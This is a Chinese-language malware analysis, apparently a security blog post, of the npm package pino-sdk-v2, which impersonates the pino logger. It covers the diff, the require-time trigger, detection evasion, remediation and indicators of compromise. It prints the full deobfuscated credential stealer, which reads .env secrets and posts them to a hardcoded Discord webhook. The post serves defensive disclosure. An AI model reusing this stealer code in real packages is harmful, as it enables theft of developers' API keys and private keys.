目录
概述
我们发现了一个恶意 npm 包 pino-sdk-v2,它冒充了 pino——一款每周下载量近 2000 万次的最流行 Node.js 日志库。该包是对 pino 源码、文档和 README 的近乎完整复制,仅增加了一处:lib/tools.js 中包含一个混淆后的恶意代码,会扫描 .env 文件中的密钥并将其发送到 require() 的 Discord webhook。
[email protected]仅需一条命令即可复制 pino 的完整源码树,同时在lib/tools.js中注入了混淆后的凭证窃取代码- 恶意代码会扫描
.env、.env.local、.env.production、.env.development和.env.example中的密钥 - 提取的凭证被发送到硬编码的 Discord webhook
- 无 install 钩子。代码在
require()时执行,规避了仅标记 install 脚本的扫描工具
调查过程
package.json 列出了真实的 pino 作者、仓库地址、主页和描述。README 仅将 pino-sdk-v2 替换到安装命令中,其他部分完全照搬 pino 的文档、banner 图片和基准测试引用。开发者在 npm 页面扫描时不会发现任何异常。
对 package.json 文件在 [email protected] 和合法的 [email protected] 之间进行 diff,可以看到变更极少且仅聚焦于重命名:
--- pino-9.9.0/package/package.json 1985-10-26 13:45:00
+++ pino-sdk-v2-9.9.0/package/package.json 1985-10-26 13:45:00
@@ -1,10 +1,10 @@
{
- "name": "pino",
+ "name": "pino-sdk-v2",
"version": "9.9.0",
"description": "super fast, all natural json logger",
- "main": "pino.js",
+ "main": "pino2.js",
"type": "commonjs",
- "types": "pino.d.ts",
+ "types": "pino2.d.ts",
"browser": "./browser.js",
"scripts": {
"docs": "docsify serve",
@@ -15,9 +15,9 @@
"test-ci": "npm run lint && npm run transpile && tap --ts --no-check-coverage --coverage-report=lcovonly && npm run test-types",
"test-ci-pnpm": "pnpm run lint && npm run transpile && tap --ts --no-coverage --no-check-coverage && pnpm run test-types",
"test-ci-yarn-pnp": "yarn run lint && npm run transpile && tap --ts --no-check-coverage --coverage-report=lcovonly",
- "test-types": "tsc && tsd && ts-node test/types/pino.ts && attw --pack .",
- "test:smoke": "smoker smoke:pino && smoker smoke:browser && smoker smoke:file",
- "smoke:pino": "node ./pino.js",
+ "test-types": "tsc && tsd && ts-node test/types/pino.ts",
+ "test:smoke": "smoker smoke:pino2 && smoker smoke:browser && smoker smoke:file",
+ "smoke:pino2": "node ./pino2.js",
"smoke:browser": "node ./browser.js",
"smoke:file": "node ./file.js",
"transpile": "node ./test/fixtures/ts/transpile.cjs",
@@ -35,7 +35,7 @@
"update-bench-doc": "node benchmarks/utils/generate-benchmark-doc > docs/benchmarks.md"
},
"bin": {
- "pino": "./bin.js"
+ "pino2": "./bin.js"
},
"precommit": "test",
"repository": {
@@ -60,7 +60,6 @@
},
"homepage": "https://getpino.io",
"devDependencies": {
- "@arethetypeswrong/cli": "^0.18.1",
"@types/flush-write-stream": "^1.0.0",
"@types/node": "^24.0.8",
"@types/tap": "^15.0.6",
@@ -98,7 +97,7 @@
"through2": "^4.0.0",
"ts-node": "^10.9.1",
"tsd": "^0.32.0",
- "typescript": "~5.9.2",
+ "typescript": "~5.8.2",
"winston": "^3.7.2"
},
"dependencies": {名称、入口点和二进制文件均被重命名。其余内容(包括作者字段 Matteo Collina)、仓库 URL 和主页均完全复制自真实的 pino 包。
真实的 pino
恶意的 pino-sdk-v2
执行路径
入口文件 pino2.js 在正常初始化过程中加载 lib/tools.js,与合法 pino 的做法相同:
const {
createArgsNormalizer,
asChindings,
buildSafeSonicBoom,
buildFormatters,
stringify,
normalizeDestFileDescriptor,
noop,
} = require('./lib/tools');攻击者选择 lib/tools.js 是因为它被无条件加载,且文件较大(300+ 行),足以隐藏注入的代码而不产生明显的视觉线索。
lib/tools.js 中的恶意载荷
混淆后的载荷被注入在 stringify 函数和 buildFormatters 函数之间,两侧以空白字符填充。它使用十六进制编码的变量名、字符串数组轮转和基于索引的查找来隐藏意图。
请查看合法 [email protected] 与恶意 [email protected] 之间 lib/tools.js 的 diff:https://www.diffchecker.com/xepKx048/
解混淆后的行为
混淆代码定义了一个 Run 类,包含以下方法:
findEnvFiles() 扫描当前工作目录中的环境文件:
// Targeted files
const envFiles = ['.env', '.env.local', '.env.development', '.env.production', '.env.example'];
for (const file of envFiles) {
const filePath = path.join(this.projectRoot, file);
if (fs.existsSync(filePath)) {
results.push(filePath);
}
}extractPrivateKeys() 读取每个 .env 文件,并使用六个正则表达式模式匹配目标密钥值:
const patterns = [
/^PRIVATE_KEY\s*=\s*(.+)$/i,
/^SECRET_KEY\s*=\s*(.+)$/i,
/^API_KEY\s*=\s*(.+)$/i,
/^ACCESS_KEY\s*=\s*(.+)$/i,
/^SECRET\s*=\s*(.+)$/i,
/^KEY\s*=\s*(.+)$/i,
];最后一个模式(/^KEY\s*=\s*(.+)$/i)过于宽泛,会匹配任何以"KEY="开头的行,这会增加泄露数据的量,但也会捕获更多凭证。
createDiscordEmbed() 将窃取的数据格式化为 Discord embed,包含:
- 标题:"🔍 Results"
- 颜色:红色(
0xff0000) - 每个提取的密钥一个字段,显示文件名、密钥名、值和行号
- ISO 时间戳
sendToDiscord() 将 embed 发送到硬编码的 Discord webhook:
hxxps://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTEscanAndReport() 方法负责协调所有操作:查找 env 文件、提取密钥、构建 embed、POST 到 Discord。它在模块加载时作为顶层异步调用运行:
async function log() {
const webhookUrl = 'https://discord.com/api/webhooks/1478377161827029105/rFdz...';
const runner = new Run(webhookUrl);
await runner.scanAndReport();
}
log();该函数被命名为 log(),与日志库中常见的命名一致。这种命名伪装是刻意为之。
检测挑战
该样本规避了常见的检测方法:
- 在
require()时触发,而非 install 钩子。 大多数恶意软件扫描器会标记preinstall/postinstall脚本。此包没有任何此类脚本。载荷在库被实际应用到应用程序代码时激活,这是更晚且更少被审查的阶段。 - 混淆。 十六进制变量名、字符串数组轮转和基于索引的查找可防止简单的基于 grep 的字符串扫描(如搜索"discord"或"webhook")。
- 可信的元数据。
package.json中真实的 pino 作者、仓库和主页使 npm 注册表页面看起来合法。
对 [email protected] 进行文件 diff 可确认范围:仅 lib/tools.js 被修改,package.json 包含名称变更,pino.js 被重命名为 pino2.js。其他内容完全相同。
如果您受到影响该怎么办
- 移除该包:
npm remove pino-sdk-v2 - 轮换在导入该包的项目目录中存储在
.env、.env.local、.env.production、.env.development或.env.example文件中的任何密钥 - 审计您的 npm lockfile 中对
pino-sdk-v2的引用 - 如果您运营目标 webhook,请检查 Discord 审计日志或 webhook 活动
对于关键系统,请将此视为凭证泄露。轮换 API 密钥、访问密钥以及存在于环境文件中的任何私钥。
妥协指标(IOC)
| 指标 | 值 |
|---|---|
| 包名称 | pino-sdk-v2 |
| 分析版本 | 9.9.0 |
| 恶意文件 | SHA256 (./pino-sdk-v2-9.9.0/package/lib/tools.js) = 3733f0add545e5537a7d3171a132df51e0b4105aebe85db35dbe868a056d3d24 |
| 泄露方法 | Discord webhook(POST,JSON embed) |
| Webhook URL | https://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE |
| 目标文件 | .env、.env.local、.env.production、.env.development、.env.example |
| 目标密钥 | PRIVATE_KEY、SECRET_KEY、API_KEY、ACCESS_KEY、SECRET、KEY |
| 触发条件 | require('pino-sdk-v2')(无 install 钩子) |
解混淆后的载荷
以下是注入到 lib/tools.js 中的恶意代码的解混淆版本,使用 deobfuscate.io 生成:
const _0x366c1f = require('fs');
const _0x45c7ed = require('path');
class Run {
constructor(_0x39cf71) {
this.webhookUrl = _0x39cf71;
this.projectRoot = process.cwd();
}
['findEnvFiles']() {
const _0x2727e8 = [];
const _0x46afa7 = ['.env', '.env.example', '.env.local', '.env.production', '.env.development'];
for (const _0x201ac2 of _0x46afa7) {
const _0x3342b6 = _0x45c7ed.join(this.projectRoot, _0x201ac2);
if (_0x366c1f.existsSync(_0x3342b6)) {
_0x2727e8.push(_0x3342b6);
}
}
return _0x2727e8;
}
['extractPrivateKeys'](_0x371198, _0x41b9c9) {
const _0x3e1c07 = [];
let _0x2796a9 = _0x371198.split('\n');
if (_0x2796a9[0x0] && _0x2796a9[0x0].endsWith('\r')) {
_0x2796a9 = _0x371198.split('\r\n');
}
const _0x6db62a = [
/^PRIVATE_KEY\s*=\s*(.+)$/i,
/^SECRET_KEY\s*=\s*(.+)$/i,
/^API_KEY\s*=\s*(.+)$/i,
/^ACCESS_KEY\s*=\s*(.+)$/i,
/^SECRET\s*=\s*(.+)$/i,
/^KEY\s*=\s*(.+)$/i,
];
_0x2796a9.forEach((_0x1dd75d, _0x18ec27) => {
for (const _0x16ba03 of _0x6db62a) {
const _0x3b88ca = _0x1dd75d.match(_0x16ba03);
if (_0x3b88ca && _0x3b88ca[0x1]) {
const _0x5719c4 = _0x3b88ca[0x1].trim().replace(/['"]/g, '');
_0x3e1c07.push({
key: _0x3b88ca[0x0].split('=')[0x0].trim(),
value: _0x5719c4,
line: _0x18ec27 + 0x1,
});
}
}
});
return _0x3e1c07;
}
async ['sendToDiscord'](_0x436551) {
try {
const _0xf55f3d = await fetch(this.webhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(_0x436551),
});
if (_0xf55f3d.ok) {
} else {
}
} catch (_0x215247) {}
}
['createDiscordEmbed'](_0x5ad81b) {
const _0xafeae9 = {
title: '🔍 Results',
color: 0xff0000,
fields: [],
timestamp: new Date().toISOString(),
};
_0x5ad81b.forEach((_0x530115) => {
_0x530115.keys.forEach((_0xe5d369) => {
_0xafeae9.fields.push({
name: '📁 ' + _0x45c7ed.basename(_0x530115.file) + ' - Line ' + _0xe5d369.line,
value: '**Key:** \`' + _0xe5d369.key + '\`\n**Value:** \`' + _0xe5d369.value + '\`',
inline: false,
});
});
});
return {
embeds: [_0xafeae9],
};
}
async ['scanAndReport']() {
const _0x3eff7a = this.findEnvFiles();
const _0x297a25 = [];
for (const _0x1a964a of _0x3eff7a) {
try {
const _0x3aca2a = _0x366c1f.readFileSync(_0x1a964a, 'utf8');
const _0x2013bf = this.extractPrivateKeys(_0x3aca2a, _0x1a964a);
if (_0x2013bf.length > 0x0) {
_0x297a25.push({
file: _0x1a964a,
keys: _0x2013bf,
});
}
} catch (_0x6be91c) {}
}
if (_0x297a25.length > 0x0) {
const _0x28d820 = this.createDiscordEmbed(_0x297a25);
await this.sendToDiscord(_0x28d820);
}
}
}
async function log() {
const _0x2ec9d8 = new Run(
'https://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE'
);
await _0x2ec9d8.scanAndReport();
}
log();- vet
- cloud
- malware
- supply-chain-security
- npm
- credential-theft
SafeDep 博客最新更新
关注以获取开源安全与工程的最新动态和洞察